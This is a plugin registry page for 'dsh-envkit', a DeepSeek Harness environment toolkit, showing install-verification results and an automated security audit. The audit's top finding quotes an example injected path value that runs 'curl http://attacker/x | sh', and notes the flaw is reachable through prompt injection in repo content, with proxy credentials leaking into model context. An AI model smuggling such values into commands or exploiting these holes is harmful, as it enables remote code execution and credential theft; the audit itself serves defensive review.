@Caoran1314/dsh-envkit avatar

@Caoran1314/dsh-envkit

DeepSeek Harness 环境工具插件:env_probe 探明网络/代理/可写性/子进程管道,safe_json_edit 无 BOM 安全改 JSON,git_repair 检测并重建丢失的 .git 元数据。

PluginDeveloperSecurityNetworkDataGitHub integrationFile
Verification
L5 · Run tested
Verified
Risk
Critical
Health
Active
Trust
Silver

Install verification: runtime verified (L5) · tested on dsh 0.2.1-rc.2 · last checked Install verification details →

Install verification badge dsh 0.2.1-rc.2

What it doesAI

Environment toolkit for DeepSeek Harness: probe network/proxy/writability, safely edit JSON without BOM, and rebuild missing .git metadata.

  • env_probe checks network, proxy, writability and subprocess pipes
  • safe_json_edit writes JSON without BOM safely
  • git_repair detects and rebuilds missing .git metadata
developerAIgithubAIfileAI

Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.

Installation

dsh plugin --profile web add dsh-envkit
verified 0.1.1

Install method: npm · runtime verified (L5)

Verification & Compatibility

Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.

External credentials (plugin-level): none detected

Declared DSH compatibilityfrom package.json · peerDependencies
author declared no dsh version requirement

○ The author declares no dsh version requirement — install is not blocked by version.

Install compatibility matrix (rows = plugin versions〔latest 5〕, columns = dsh versions〔latest 5〕)
At-a-glance → evidence in the cards below
plugin \ dshdsh 0.2.1-rc.2
current
dsh 0.2.1-alpha.2
0.1.1✓✓
v0.1.1··
Install compatibility (by plugin version, dsh versions within)
Legend:✓ L5 runtime verified○ ecosystem plugin◼ ecosystem app✗ failed
0.1.1npm✓ 2 runtime-verified2026-10-20

dsh-envkit

✓dsh 0.2.1-rc.2current2026-10-20L5 · runtime verified
Environment & artifact
  • • Node.js: v24.14.0
  • • DSH: 0.2.1-rc.2
  • • Plugin artifact: npm · dsh-envkit@0.1.1
Levels (L1–L3 plugin-level static archive · L4/L5 newest real verdicts for this combination)
L1 static
Passed
L2 static
Passed
L3 static
Passed
L4 sandbox
Passed
L5 runtime
Passed
Install + runtime smoke verified in the dsh sandbox — installs and runs
L5 · runtime verified · valid for dsh 0.2.1-rc.2

ID: dsh-envkit@0.1.1@dsh0.2.1-rc.2 · profile: l4-sandbox

Issued: 2026-10-20 · expires: 2026-10-27

View checks & evidence
L1 · Found✓ Passed
Defaulted from L3✓ Passed
defaulted to passed — L3 install spec passed (full-registry L3 sweep policy)
L2 · Structured✓ Passed
Defaulted from L3✓ Passed
defaulted to passed — L3 install spec passed (full-registry L3 sweep policy)
L3 · Install spec✓ Passed
Install command parsed✓ Passed
Source: registry verification · Method: install spec parse · Captured 2026-10-18
DSH version declared✓ Passed
Source: registry verification · Method: DSH version declaration · Captured 2026-10-18
L4 · Install tested✓ Passed
Install executed in confined sandbox✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-20
spec dsh-envkit · channel npm package · outcome ran · exit 0
check took: 2.1s
Install succeeded✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-20
spec dsh-envkit · channel npm package · outcome ran · exit 0
check took: 2.1s
Installed artifact confirmed✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-20
spec dsh-envkit · channel npm package · outcome ran · exit 0
check took: 2.1s
L5 · Run tested✓ Passed

active in loader tree (150 entries)

Sandbox install passed✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-20
spec dsh-envkit · install mode reused L4 scratch
check took: 25ms
Web boot ready✓ Passed
Source: DSH runtime · Method: web boot · Captured 2026-10-20
ready line dsh web: http://127.0.0.1:54620/?token=…
HTTP endpoint served✓ Passed
Source: DSH runtime · Method: HTTP request · Captured 2026-10-20
path / · HTTP 200 · took 25ms
Plugin active in inventory✓ Passed
Source: DSH runtime · Method: plugin inventory query · Captured 2026-10-20
verdict active · entries 150
match: include:dsh-envkit · dsh-envkit · phase active
phases: active 122 · null 28

L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.

✓dsh 0.2.1-alpha.22026-10-15L5 · runtime verified
Environment & artifact
  • • Node.js: v24.14.0
  • • DSH: 0.2.1-alpha.2
  • • Plugin artifact: npm · dsh-envkit@0.1.1
Levels (L1–L3 plugin-level static archive · L4/L5 newest real verdicts for this combination)
L1 static
Passed
L2 static
Passed
L3 static
Passed
L4 sandbox
Passed
L5 runtime
Passed
Install + runtime smoke verified in the dsh sandbox — installs and runs
L5 · runtime verified · valid for dsh 0.2.1-alpha.2

ID: dsh-envkit@0.1.1@dsh0.2.1-alpha.2 · profile: l3-fullscan

Issued: 2026-10-15 · expires: 2026-10-22

View checks & evidence
L1 · Found✓ Passed
Defaulted from L3✓ Passed
defaulted to passed — L3 install spec passed (full-registry L3 sweep policy)
L2 · Structured✓ Passed
Defaulted from L3✓ Passed
defaulted to passed — L3 install spec passed (full-registry L3 sweep policy)
L3 · Install spec✓ Passed
Install command parsed✓ Passed
Source: registry verification · Method: install spec parse · Captured 2026-10-18
DSH version declared✓ Passed
Source: registry verification · Method: DSH version declaration · Captured 2026-10-18
L4 · Install tested✓ Passed
Install executed in confined sandbox✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-14
spec dsh-envkit · channel npm package · outcome ran · exit 0
check took: 2.6s
Install succeeded✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-14
spec dsh-envkit · channel npm package · outcome ran · exit 0
check took: 2.6s
Installed artifact confirmed✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-14
spec dsh-envkit · channel npm package · outcome ran · exit 0
check took: 2.6s
Resolved version recorded✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-14
spec dsh-envkit · channel npm package · outcome ran · exit 0
check took: 2.6s
L5 · Run tested✓ Passed

active in loader tree (150 entries)

Sandbox install passed✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-14
spec dsh-envkit · install mode reused L4 scratch
check took: 223ms
Web boot ready✓ Passed
Source: DSH runtime · Method: web boot · Captured 2026-10-14
ready line dsh web: http://127.0.0.1:60260/?token=…
HTTP endpoint served✓ Passed
Source: DSH runtime · Method: HTTP request · Captured 2026-10-14
path / · HTTP 200 · took 223ms
Plugin active in inventory✓ Passed
Source: DSH runtime · Method: plugin inventory query · Captured 2026-10-14
verdict active · entries 150
match: include:dsh-envkit · dsh-envkit · phase active
phases: active 122 · null 28

L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.

v0.1.1github2026-10-14

https://github.com/Caoran1314/dsh-envkit

No runtime install test for this version (static scan only) — compatibility unknown, never assumed.

Author badges

Embed the official badges in your README to showcase security & install-test status:

dsh.so risk
`[![dsh.so risk](https://www.dsh.so/badge/dsh-envkit.svg)](https://www.dsh.so/artifact/dsh-envkit/)`
dsh 0.2.1-rc.2 install verified
`[![dsh.so install · dsh 0.2.1-rc.2](https://www.dsh.so/badge/install/dsh-envkit@0.2.1-rc.2.svg)](https://www.dsh.so/artifact/dsh-envkit/)`

Security Report

Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.

dsh-envkitAutomated review · daily

Static low, dynamic high — stricter wins → overall high.

static low→dynamic high→overall high
0 critical·0 high
highoverall · high
1static scan · vet primaryvet AST static analysis (npm artifact or git source)
plugin versionv0.1.1dsh manifest
scanned version0.1.1npm2026-10-21
current version0.1.1same version
vet verdictclean · npm

Vet is an AST static scan (npm artifact or git source).

show static findings (7)
  • warningchildProcess · code-execlib/core.mjs:68

    const r = spawnSync(process.execPath, ['-e', 'process.stdout.write("ok")'], {

  • warningchildProcess · code-execlib/core.mjs:263

    const r = isWin ? spawnSync('cmd.exe', ['/c', cmd], { encoding: 'utf8', timeout: 120000 })

  • warningchildProcess · code-execlib/core.mjs:264

    : spawnSync('sh', ['-c', cmd], { encoding: 'utf8', timeout: 120000 })

  • warningfsWrite · fileslib/core.mjs:56

    fs.writeFileSync(probe, 'x')

  • warningfsWrite · fileslib/core.mjs:171

    fs.writeFileSync(tmp, out, 'utf8') // node 写 utf8 = 无 BOM

  • warningfsWrite · fileslib/index.js:269

    fs.writeFileSync(path.join(dataDir, 'ctx-probe.json'), JSON.stringify(probe, null, 2), 'utf8')

  • warningfsWrite · fileslib/index.js:279

    fs.writeFileSync(path.join(dataDir, 'last-load.json'), JSON.stringify({

2model reads redacted source context · never executes plugin code
highest gradehigh
merged intooverall high
audited at2026-10-19
findings0 critical·1 high2 medium / 1 low hidden
show 4 audit findings
  • highgit_repair interpolates repoDir/remote/branch/sshKey into sh -c / cmd.exe commandslib/core.mjs:250

    repoDir, remote, branch and sshKey arrive as tool arguments from the model caller and are concatenated into command strings that are later executed with spawnSync('sh', ['-c', cmd]) (line 269) or cmd.exe /c (line 268) whenever dryRun is false. A value such as a path containing " ; curl http://attacker/x | sh ; # breaks out of the quoting and runs arbitrary commands with the DSH host's privileges. dryRun defaults to true, so exploitation needs one call with dryRun:false — trivially reachable for an agent, including via prompt injection in repo content.

  • mediumsafe_json_edit rewrites any existing JSON file on the host with no path restrictionlib/core.mjs:172

    The tool accepts an arbitrary absolute path plus a set of dot-paths and arbitrary JSON values, and atomically replaces the file (the only precondition is that it currently parses as JSON). This is a generic write primitive over every JSON config on the machine — including DSH profile package.json (dsh.profile.bundles / dependencies), editor and npm settings — usable to persist configuration changes or disable security-relevant settings. The backup copy is best-effort and does not prevent the write.

  • mediumenv_probe returns raw proxy environment variable values, which often contain credentialslib/core.mjs:83

    HTTP_PROXY/HTTPS_PROXY values are commonly of the form http://user:password@proxy:8080. envProbe returns the key/value map verbatim, so proxy credentials are copied into the agent's tool result (model context) and into the /envkit/probe HTTP response. The tool description only promises '代理环境变量', giving no indication that secret values are exposed, which turns a diagnostic feature into an undisclosed credential exfiltration channel (e.g. via prompt injection).

  • low/envkit routes fail open when connection.requestRejection is unavailablelib/index.js

    The route wrapper only rejects a request when the connection service exposes requestRejection; if that service is missing or shaped differently, rejected() returns false and the handler proceeds. /envkit/probe then performs outbound fetches, a child-process spawn and returns proxy env, writable paths and platform info to any client that can reach the web server; /envkit/inspect discloses installed profile names and dependency lists. inject declares 'connection', so this is a degradation path rather than the normal case, hence low.

git_repair concatenates tool arguments into sh -c/cmd.exe commands, safe_json_edit rewrites any JSON path, and env_probe leaks proxy credentials; the shell sink is a real RCE precondition.

Rule: the dynamic audit can only raise risk, never lower it (raise-only, never an exemption); a wrong raise is withdrawn by human review and the tier falls back to the static verdict. Overall verdict = the stricter of the two layers.

Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.

Activity

Last commit 2026-10-13 · activity: Active

• Repo created: 2026-10-13

• Stars: ★ 1 · Forks: 0

• Health: Active — committed within last 30 days

Source

GitHub: github.com/Caoran1314/dsh-envkit

Was this page helpful?